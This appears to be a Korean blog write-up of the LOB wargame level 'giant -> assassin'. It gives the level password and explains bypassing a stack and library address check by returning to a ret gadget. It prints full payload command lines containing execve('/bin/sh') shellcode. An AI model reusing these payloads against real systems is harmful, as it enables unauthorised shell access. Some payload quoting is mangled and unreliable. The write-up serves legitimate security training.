System&Write up/LOB

LOB giant -> assassin Write up

Jubil 2017. 11. 9. 10:00
반응형

LOB giant -> assassin

 

ID : giant

Passwd : one step closer

 


접속해서 ls 명령어로 파일을 확인합니다.

 


code를 열어보면 stacklibrary 영역을 막고 있네요.

 

code 영역으로 공격해보겠습니다.

 

strcpy()에서 크기 제한을 두지 않고 있습니다.

argv[1][47]‘\xbf'‘\x40’만 아니면 됩니다.

 

저는 code 영역에 ret을 다시 이용하고자 합니다.

leave를 하고 ret을 합니다. 근데 Return Address가 다시 ret(자기 자신)이라면,

leave – ret – ret

다시 돌아와서 결국 Return Address는 마지막 ret 명령할 때 입니다.

 

| sfp | ret(&ret) | stack or library |

이렇게 변조를 해줬다면 argv[1][47]‘\xbf', ‘\x40’을 우회할 수 있고, 결과적으로는 stack이나 library 영역으로 ret 할 수 있다는 얘기입니다.

 

, 검사는 argv[1][47]만 하니까 그 부분만 포장해주고, 속은 stacklibrary의 주소를 넣어주는 것입니다.

 

백문이 불여일견,

main()ret의 찾아보겠습니다. main()의 함수 에필로그에 있겠죠?

gdb로 열어봅시다.

 


 

argv[2]에 셸코드를 넣는다고 가정하고, payload를 구상해보면,

payload : ./assassin `python –c ‘print “A”*44 + “\x1e\x85\x04\x08” + argv[2]’s NOP’` `python –c ‘print “\x13000” + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`

 

argv[2]를 찾겠습니다.

 


대충 감안해서, 0xbfffcb90으로 Return Address를 변조하겠습니다.

 

payload : ./assassin `python –c ‘print “A”*44 + “\x1e\x85\x04\x08” + “\x90\xcb\xff\xbf”’` `python –c ‘print “\x13000” + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`

 

원본 파일에 공격하겠습니다.


exploit!

감사합니다.

반응형

'System&Write up > LOB' 카테고리의 다른 글

LOB zombie_assassin -> succubus Write up  (2) 2017.11.13
LOB assassin -> zombie_assassin Write up  (0) 2017.11.12
LOB bugbear -> giant Write up  (0) 2017.11.08
LOB darkknight -> bugbear Write up  (0) 2017.10.26
LOB golem -> darkknight Write up  (0) 2017.10.26